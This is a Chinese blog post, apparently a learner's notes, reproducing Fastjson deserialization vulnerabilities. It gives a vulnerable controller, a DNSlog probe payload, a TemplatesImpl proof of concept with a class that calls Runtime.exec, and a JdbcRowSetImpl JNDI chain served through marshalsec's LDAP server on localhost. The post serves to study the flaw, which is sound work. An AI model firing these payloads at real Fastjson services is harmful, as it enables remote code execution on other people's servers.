fastJson反序列化学习笔记(fastjson 自定义反序列化)

网友投稿 1826 2022-09-29


fastJson反序列化学习笔记(fastjson 自定义反序列化)

一、预备知识

FastJson是阿里巴巴开发的用于处理Json数据的类,可以将Json数据对象转换为字符串,也可以将字符串转换为Json对象,当将字符串还原为Json对象时常用的方法有parse()以及parseObject(),parseObject本质上是调用了parse方法,两者的不同之处在于parse方法在还原为Json对象时可以触发该类的set方法,而parseObject方法会触发set方法、get方法以及该类的构造方法,并且当该类中不存在set方法而存在get方法时,会调用 get方法。在还原为对象的时候为了能够很好的找到类的名称,因此引入了@type,其值为类的名称。

如下:

public String json7(String str){ String str2 = "{\"@type\":\"com.yang.pojo.Person\",\"age\":34,\"name\":\"张三\",\"sex\":\"男\"}"; //parse可以触发该类的set方法 System.out.println(JSONObject.parse(str2)); System.out.println(JSONObject.parseObject(str2)); return str; }

控制台输出:

{"sex":"男","name":"张三","age":34}

因此,当用户输入的内容如果以Json字符串传输到后台,后台对数据进行反序列化为对象的过程中,未对用户输入进行过滤,未过滤掉比如可能引起set或者get方法执行的类时,就可能产生代码执行漏洞了。

二、简单演示

(一)   Controller演示代码:

这是演示的服务端controller的代码,用户通过前台输入一个字符串,后台使用parseObject()方法对字符串还原为对象,这里使用了Feature.SupportNonPublicField用于支持Private类型属性还原。

@RestControllerpublic class UserController { @RequestMapping("/j8") @ResponseBody public String json8(String str){ System.out.println("str:======================"+str); Object obj = JSONObject.parseObject(str,Feature.SupportNonPublicField); System.out.println("st:======================="+str); return str;

} }

(二)   fastJson判断:

没有写前台表单,通过BURP将GET报文截取后修改为POST请求,注意需要在报文请求头中加入Content-type: application/x-www-form-urlencoded,否则controller无法通过参数获取到输入的内容。

通过报错可以判断是否使用了fastjson:

(三)   测试:

下面使用PAYLOAD:{"name":{"@type":"java.net.Inet4Address","val":"11agd8.dnslog.cn"}}去测试:

查看dnslog显示的信息:

除了上述外,安全研究人员目前发现两条利用链,分别是TemplatesImpl以及JdbcRowSetImpl,演示如下:

三、TemplatesImpl利用链

(一)POC:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["evilBynarycode"],"_name":"a.b","_tfactory":{},"_outputProperties":{},""_version":"1.0","allowedProtocols":"all"}

其中_bytecodes值evilBynarycode就是PAYLOAD的class文件进行BASE64编码后得到的内容,PAYLOAD为:

public class Shell extends AbstractTranslet { public Shell(){ try { Runtime.getRuntime().exec("calc"); }catch (IOException e){ e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }}

(二)浏览器访问,抓包发送POC:

这里注意POC中包含有特殊字符,这是我标红了为“+”号,如果通过前台传入,需要使用URL编码为:%2B,否则会报错。

(三)简要分析

1、注意POC中的几个关键字:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["evilBynarycode"],"_name":"a.b","_tfactory":{},"_outputProperties":{},""_version":"1.0","allowedProtocols":"all"}都是键值对,其中几个关键的:@type指明了该类的名称,_bytecodes指定了恶意payload,_name的值为a.b,_tfactory的值为空,_outputProperties的值为空。

2、调试:

在JSONObject.parseObject上打断点:

跟进后看到调用了parse()方法:

继续跟进,看到这里创建了一个反序列化器对象:

进入到deserializer方法中去,里面有两个方法的重载,然后进入到matchField判断,默认为false,取反后,执行If语句,然后通过lexer.scanSymbol(parser.symbolTable)进行符号扫描,得到key为_bytecodes:

创建一个TemplatesImpl对象:

将bytecodes的值赋值给Templates对象:

继续跟进,可以看到这里在对前述几个关键字进行循环处理,这里轮到了_name,如下:

再继续往下,看到轮到了_tfactory,其值为空:

继续往下处理_outputProperties,跟进后到达pareseField方法:

里面的smartMatch()对Key做了一些处理,这里对下划线和中横线都进行了处理,替换为空了:

继续跟进看到setValue方法:

这里看到method.invoke()方法,强制跟入:

进入到invoke方法中:

执行ma.invoke(obj,args),这里强制跟入:

继续,看到invoke0()方法:

再次强制跟入看到执行newTransformer类的getOutputProperties()方法:

再下一步弹出计算器。

这个代码中间比较复杂,跟踪了很多次代码,一直是一知半解,前面涉及到对base64的解码,涉及到对下划线的替换处理等过程,在这个主调试过程中可能没有复现。个人理解,总的来讲,中间一直在对几个关键字进行循环处理,直到处理outputProperties时,进入到setValue方法中可以看到反序列化方法中的invoke()方法,在这里强制跟踪,可以找到调用getOutputProperties()方法,而这个方法会触发执行前面的PAYLOAD。

四、JdbcRowSetImpl利用链

该利用链与之前提到过的JNDI及RMI远程调用相关,原理为先搭建一个恶意的LDAP/RMI服务器,当用户输入的信息未经过滤而向LDAP/RMI服务器发起请求时,LDAP/RMI服务器返回一个恶意的httpserver请求给存在缺陷的服务器,存在缺陷的服务器再次向恶意的httpserver请求下载恶意的class文件,并且该文件被执行。

(一)   准备PAYLOAD,命名为exploit.java,并且将其编译为exploit.class文件:

(二)将exploit.class文件放在-m 80

Serving HTTP on :: port 80 (...

(三)开启LDAP server

D:\>java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#exploit 8099

Listening on 0.0.0.0:8099

(四)准备POC

{"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://127.0.0.1:8099/exploit",

"autoCommit":true

}

(五)将POC通过POST请求发送出去,弹出计算器

五、总结

本文主要记录学习fastJson反序列号相关的内容,几条利用链的复现过程跟着网上的教程操作就可以了,不是特别难,比较难的是代码的跟踪过程,笔者也是初学者,网上的视频、博客看了很多遍也跟不上节奏,里面的代码跟踪过程也是一知半解,终于把这篇浅陋的笔记写完了。


版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:Java的最大栈深度与JVM核心知识介绍
下一篇:如何通过 Avi iWAF 防护 Log4j 漏洞(如何通过手机号码查到个人信息)
相关文章

 发表评论

暂时没有评论,来抢沙发吧~